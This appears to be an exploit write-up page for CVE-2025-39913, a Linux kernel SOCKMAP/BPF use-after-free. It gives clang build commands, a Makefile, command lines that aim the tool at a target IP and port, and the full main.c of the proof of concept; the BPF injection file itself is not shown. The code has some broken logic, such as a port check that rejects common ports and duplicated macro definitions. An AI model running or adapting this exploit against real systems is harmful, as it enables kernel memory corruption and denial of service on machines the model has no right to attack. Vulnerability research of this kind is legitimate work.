UAF in kernel linux (psock-cork)


Description


CVE-2025-39913 is a memory management flaw in the Linux kernel tcp_bpf_send_verdict() function, part of the SOCKMAP infrastructure. When bpf_msg_cork_bytes() fails to allocate psock->cork, the kernel does not properly release the associated sk_msg, leading to inconsistencies in sk->sk_forward_alloc. This can result in memory leaks or potential use-after-free (UAF) conditions under specific fault injection scenarios.
- Affected versions: Linux kernel ≤ 6.12.38 , unless patched with the fix that adds sk_msg_free() on cork allocation failure.

- To implement the proof of concept and understand CVE-2025-39913, the following steps must be followed :
step 1 : step 2 : step 3 : step 4 : step 5 :

1 - Author :

Byte Reaper :

2 - Build :

    # clang -O2 -target bpf -c bpf_injection.c -o bpf_injection.o \
            -nostdinc \
            -I/usr/lib/clang/19/include \
            -I${KERNEL_PATH}/arch/x86/include \
            -I${KERNEL_PATH}/arch/x86/include/generated \
            -I${KERNEL_PATH}/include \
            -I${KERNEL_PATH}/include/uapi \
            -I${KERNEL_PATH}/include/generated/uapi \
            -I${KERNEL_PATH}/include/asm-generic \
            -I/usr/include

OR :

    1 - Create Makefile : 

        # touch Makefile

    2 - Paste the content into the Makfile :  

        TARGET := CVE-2025-39913

        KERNEL_PATH := /usr/src/linux-headers-$(shell uname -r)

        BPF_OBJ := bpf_injection.o

        USER_SRCS := main.c load_bpf.c check_bpfELf.c pingCheck.c com_c.c exit_asm.c sockmap_link.c check_elf.c result.c argparse.c

        USER_OBJS := $(USER_SRCS:.c=.o)
        ALL_OBJS := $(USER_OBJS) $(BPF_OBJ)

        LIBS := -l:libbpf.a -lrt -lelf -lz 

        $(TARGET): $(ALL_OBJS)
            gcc $(USER_OBJS) -o $@ $(LIBS) 
        %.o: %.c
            gcc -c $< -o $@

        $(BPF_OBJ): bpf_injection.c
            clang -O2 -target bpf -c $< -o $@ \
                -nostdinc \
                -I/usr/lib/clang/19/include \
                -I$(KERNEL_PATH)/arch/x86/include \
                -I$(KERNEL_PATH)/arch/x86/include/generated \
                -I$(KERNEL_PATH)/include \
                -I$(KERNEL_PATH)/include/uapi \
                -I$(KERNEL_PATH)/include/generated/uapi \
                -I$(KERNEL_PATH)/include/asm-generic \
                -I/usr/include

        clean:
            rm -f $(TARGET) $(ALL_OBJS)

3 - Run POC :

    1 - IP address :
     # ./CVE-2025-39913 -i [server-ip] 

    2 - target port (default : 80) :
     # ./CVE-2025-39913 -i [server-ip] -p [PORT]

    3 - Full ARG : 
     # ./CVE-2025-39913 -h

    4 - Check Obj file BPF :
     # ./CVE-2025-39913 -i [server-ip] -p [PORT] -o 

    5 - Check debug tracing : 
     # ./CVE-2025-39913 -i [server-ip] -p [PORT] -c

4 - POC :

Note : The proof of concept contains more than file and function. Please download it to ensure successful translation and operation.

File: main.c — Size: 8.1 KB — Lines: 256


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "argparse.h"
#include "com_c.h"
#include "bpfO.h"

#include "pingC.h"
#include "sockmapBuild.h"
#include <stdbool.h>
#include "asm_exit.h"
#include <errno.h>
#include "load_bpf.h"



const char* ipAddress=NULL;
int port=0; 
bool flagPort=false;
const char *fileC=NULL;
void checkPointer(void);
bool flagFileC=false; 
int flagCheck=0;
int flagCTr=0;
int flagObjFile = 0;
int runObjfile = 0;
int sysCheck()
{
    #ifdef __linux__
        printf("[+] System Detect : Linux.\n");
        checkPointer();
        return 0;
    #elif _WIN32
        #define PLATFORM_MESSAGE "[-]  System Detect : Windows 32-bit\n"
        #define PLATFORM_MESSAGE "[-] Please Run poc in linux 32-bit !\n"
        asmE();
    #elif _WIN64
        #define PLATFORM_MESSAGE "[-]  System Detect : Windows 64-bit\n"
        #define PLATFORM_MESSAGE "[-] Please Run poc in linux 64-bit !\n"
        asmE();
    #else 
        printf("[-] System Detect : Unknow !\n");
        asmE();
    #endif
}
void checkPointer()
{
            printf("[+] System Detect : Linux.\n");
            printf("[+] Check architecture...\n");
            if (sizeof(void*) == 4)
            {
                printf("[+] Size pointer : 4 bytes.\n");
                printf("[+] Architecture Detect : 32-bit.\n");
                printf("[+] Run Poc...\n");
            }
            else if (sizeof(void*) == 8)
            {
                printf("[+] Size pointer : 8 bytes.\n");
                printf("[+] Architecture Detect : 64-bit.\n");
                printf("[+] Run Poc...\n");
            }
            else 
            {
                printf("[-] Size pointer : unknow (not 4 / 8 bytes), Exit...\n");
                asmE();
            }
}
int main(int argc, const char** argv)
{
    printf("\t\t\t\e[1;37mByte Reaper\e[0m\n");
    printf("\t\t\e[1;33mhttps://www.bytrep.com/\e[0m\n");
    printf("\e[0;35m-----------------------------------------------------------------------------------------------------\e[0m\n");
    sysCheck();
    struct argparse_option options[] =
    {
            OPT_HELP(),
            OPT_STRING('i', 
                "ip", 
                &ipAddress, 
                "Enter Target ip ."),
            OPT_INTEGER('p', 
                "port", 
                &port, 
                "Enter Target Port (default = 80)."),
            OPT_STRING('f', 
                "file", 
                &fileC, 
                "Name of the file to compile (default = bpf_injection.c)."),
            OPT_BOOLEAN('c', 
                "check", 
                &flagCheck, 
                "Check tracing LOG (default = 0)."),
            OPT_BOOLEAN('o', 
                "obj", 
                &flagObjFile, 
                "Check (Section,type,version,MIPS...) in Obj file (bpf_injection.o) (default = 0)"),
            OPT_END(),
    };
    struct argparse argparse;
    argparse_init(&argparse,
        options,
        NULL,
        0);

    argparse_parse(&argparse,
        argc,
        argv);
    if (!ipAddress)
    {
        printf("\e[0;31m[-] Please Enter target IP !\e[0m\n");
        printf("\e[0;31m[-] Example : ./CVE-2025-39913  -i  -p [PORT]\e[0m\n");
        asmE();
    }
    if (port != 0) 
    { 
        printf("\e[0;33m[+] Check port value...\e[0m\n");
        flagPort = true; 
        if (port <= 0 || port >= 256)
        {
            fprintf(stderr, "\e[0;31m[-] Value port not correct : %d !\e[0m\n", 
                port);
            printf("\e[0;31m[-] Error : %s", 
                strerror(errno));
            asmE();
        }
        else 
        {
            printf("\e[0;36m[+] Value port correct (%d).\e[0m\n", 
                port);
        }
    } 
    else 
    { 
        flagPort = false; 
    }
    if (fileC != NULL)
    {
        const char *mes3  = "\e[0;36m[+] Mov 0x1 in Flag file Success.\e[0m\n";
        const char *mes2 =  "\e[0;31m[-] Error Mov 0x1 in flag file.\e[0m\n";
        size_t len2 = strlen(mes2);
        size_t len3 = strlen(mes3);
        __asm__ volatile
        (
            "movl $0x1, %[var5]\n\t"
            "movl %[var5], %%eax\n\t"
            "testl %%eax, %%eax\n\t"
            "jz 1f\n\t"
            "done2:\n\t"
            "mov %[mes3], %%rsi\n\t"
            "mov %[len3], %%rdx\n\t"
            "mov $0x1, %%rax\n\t"
            "mov $0x1, %%rdi\n\t"
            "syscall\n\t"
            "jmp 2f\n\t"
            "1:\n\t"
            "mov %[mes2], %%rsi\n\t"
            "mov %[len2], %%rdx\n\t"
            "mov $0x1, %%rax\n\t"
            "mov $0x1, %%rdi\n\t"
            "syscall\n\t"
            "mov $0x3C, %%rax\n\t"  
            "mov $0x1, %%rdi\n\t"
            "syscall\n\t"
            "2:\n\t"
            : [var5] "=m" (flagFileC)          
            : [mes2] "r" (mes2),
              [len2] "r" (len2),
              [mes3] "r" (mes3),
              [len3] "r" (len3)
            : "rax", 
              "rdi", 
              "rdx", 
              "rsi", 
              "rcx", 
              "r11", 
              "memory"
        );
        printf("[DEBUG] VAR Arg file = %d \e[0m\n", 
            flagFileC);
    }
    else 
    {
        const char *mes4 = "\e[0;31m[-] Error : Value flag file not zero !\e[0m\n";
        const char *mes5 = "\e[0;36m[+] Value flag is Zero (default).\e[0m\n";
        size_t len4 = strlen(mes4);
        size_t len5 = strlen(mes5);
        __asm__ volatile
        (
            "movl $0x0, %[var6]\n\t"
            "movl %[var6], %%eax\n\t"
            "testl %%eax, %%eax\n\t"
            "jnz 1f\n\t"
            "zeroFlag :\n\t"
            "mov %[mes5], %%rsi\n\t"
            "mov %[len5], %%rdx\n\t"
            "mov $0x1, %%rax\n\t"
            "mov $0x1, %%rdi\n\t"
            "syscall\n\t"
            "jmp 2f\n\t"
            "1:\n\t"
            "mov %[mes4], %%rsi\n\t"
            "mov %[len4], %%rdx\n\t"
            "mov $0x1, %%rax\n\t"
            "mov $0x1, %%rdi\n\t"
            "syscall\n\t"
            "mov $0x3C, %%rax\n\t"
            "mov $0x1, %%rdi\n\t"
            "syscall\n\t"
            "2:\n\t"
            : [var6] "=m" (flagFileC)
            : [mes4] "r" (mes4),
              [len4] "r" (len4),
              [mes5] "r" (mes5),
              [len5] "r" (len5)
            : "rax", 
              "rdi", 
              "rdx", 
              "rsi", 
              "rcx", 
              "r11", 
              "memory"

        );
        printf("\e[0;32m[DEBUG] VAR Arg file = %d\e[0m\n", 
            flagFileC);
    }
    if (flagCheck != 0)
    {
        flagCTr = 1;
    }
    else 
    {   
        flagCTr = 0;
    }
    if (flagObjFile != 0)
    {
        runObjfile = 1;
    }
    else 
    {   
        runObjfile = 0;
    }
    sockC(ipAddress, 
        port);
    printf("\n\e[0;37m[+] Finish Poc.\e[0m\n");
    __asm__ volatile
    (
        "xor %%rdi, %%rdi\n\t"
        "mov $0x3c, %%rax\n\t"
        "syscall\n\t"
        :
        :
        :"rax", 
         "rdi"
    );
}
Download

5 - References :

  • NVD : link
  • linux BPF TCP: link
  • bpf.h : link
  • Create SOCMAP : link